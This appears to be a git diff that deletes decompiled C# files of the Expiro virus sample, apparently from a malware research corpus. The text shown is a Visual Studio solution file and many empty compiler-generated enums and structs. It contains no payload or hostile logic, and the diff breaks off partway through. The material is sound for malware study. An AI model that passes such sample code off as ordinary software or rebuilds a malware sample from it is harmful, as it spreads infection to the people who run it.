a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Virus.Win32.Expiro.w.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "infocard", "Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.csproj", "{9F2DE1E3-7F6A-4C94-AF27-6CA1F6CAB583}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {9F2DE1E3-7F6A-4C94-AF27-6CA1F6CAB583}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {9F2DE1E3-7F6A-4C94-AF27-6CA1F6CAB583}.Debug|Any CPU.Build.0 = Debug|Any CPU - {9F2DE1E3-7F6A-4C94-AF27-6CA1F6CAB583}.Release|Any CPU.ActiveCfg = Release|Any CPU - {9F2DE1E3-7F6A-4C94-AF27-6CA1F6CAB583}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/WELL_KNOWN_SID_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/WELL_KNOWN_SID_TYPE.cs deleted file mode 100644 index 4499a2bd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/WELL_KNOWN_SID_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WELL_KNOWN_SID_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum WELL_KNOWN_SID_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/WPCSETTING.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/WPCSETTING.cs deleted file mode 100644 index e1646d87..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/WPCSETTING.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WPCSETTING -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum WPCSETTING -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/X931_restart_t.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/X931_restart_t.cs deleted file mode 100644 index 09fa24ef..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/X931_restart_t.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: X931_restart_t -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum X931_restart_t -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBD.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBD.cs deleted file mode 100644 index 028a71a0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBD.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY00$$CBD -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY00\u0024\u0024CBD - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBG.cs deleted file mode 100644 index 18c68a3d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY00$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [UnsafeValueType] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 2)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY00\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY00Q6MPBXXZ.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY00Q6MPBXXZ.cs deleted file mode 100644 index c1c08a24..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY00Q6MPBXXZ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY00Q6MPBXXZ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY07$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY07$$CBG.cs deleted file mode 100644 index dec5e4ca..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY07$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY07$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY07\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY08$$CB_W.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY08$$CB_W.cs deleted file mode 100644 index f8521d9d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY08$$CB_W.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY08$$CB_W -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 18)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY08\u0024\u0024CB_W - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AHXZ.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AHXZ.cs deleted file mode 100644 index 5a8a6cde..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AHXZ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0A@P6AHXZ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AHXZ - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AXXZ.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AXXZ.cs deleted file mode 100644 index 2adc1000..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AXXZ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0A@P6AXXZ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AXXZ - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAE@G.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAE@G.cs deleted file mode 100644 index b82485dd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAE@G.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0BAE@G -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [UnsafeValueType] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 520)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0BAE\u0040G - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAF@G.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAF@G.cs deleted file mode 100644 index 4bbfd4bc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAF@G.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0BAF@G -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 522)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0BAF\u0040G - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BB@K.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BB@K.cs deleted file mode 100644 index cb7fe1f1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BB@K.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0BB@K -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 68)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0BB\u0040K - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BC@$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BC@$$CBG.cs deleted file mode 100644 index 54f3bd51..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BC@$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0BC@$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [NativeCppClass] - [UnsafeValueType] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 36)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0BC\u0040\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CB@$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CB@$$CBG.cs deleted file mode 100644 index 9c84af67..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CB@$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0CB@$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [UnsafeValueType] - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 66)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0CB\u0040\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBD.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBD.cs deleted file mode 100644 index 56810837..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBD.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0CE@$$CBD -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 36)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBD - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBG.cs deleted file mode 100644 index 706b81fa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0CE@$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [UnsafeValueType] - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 72)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0EE@E.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0EE@E.cs deleted file mode 100644 index 598a72e1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0EE@E.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0EE@E -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [UnsafeValueType] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 68)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0O@$$CBD.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0O@$$CBD.cs deleted file mode 100644 index caaf1553..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0O@$$CBD.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0O@$$CBD -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E 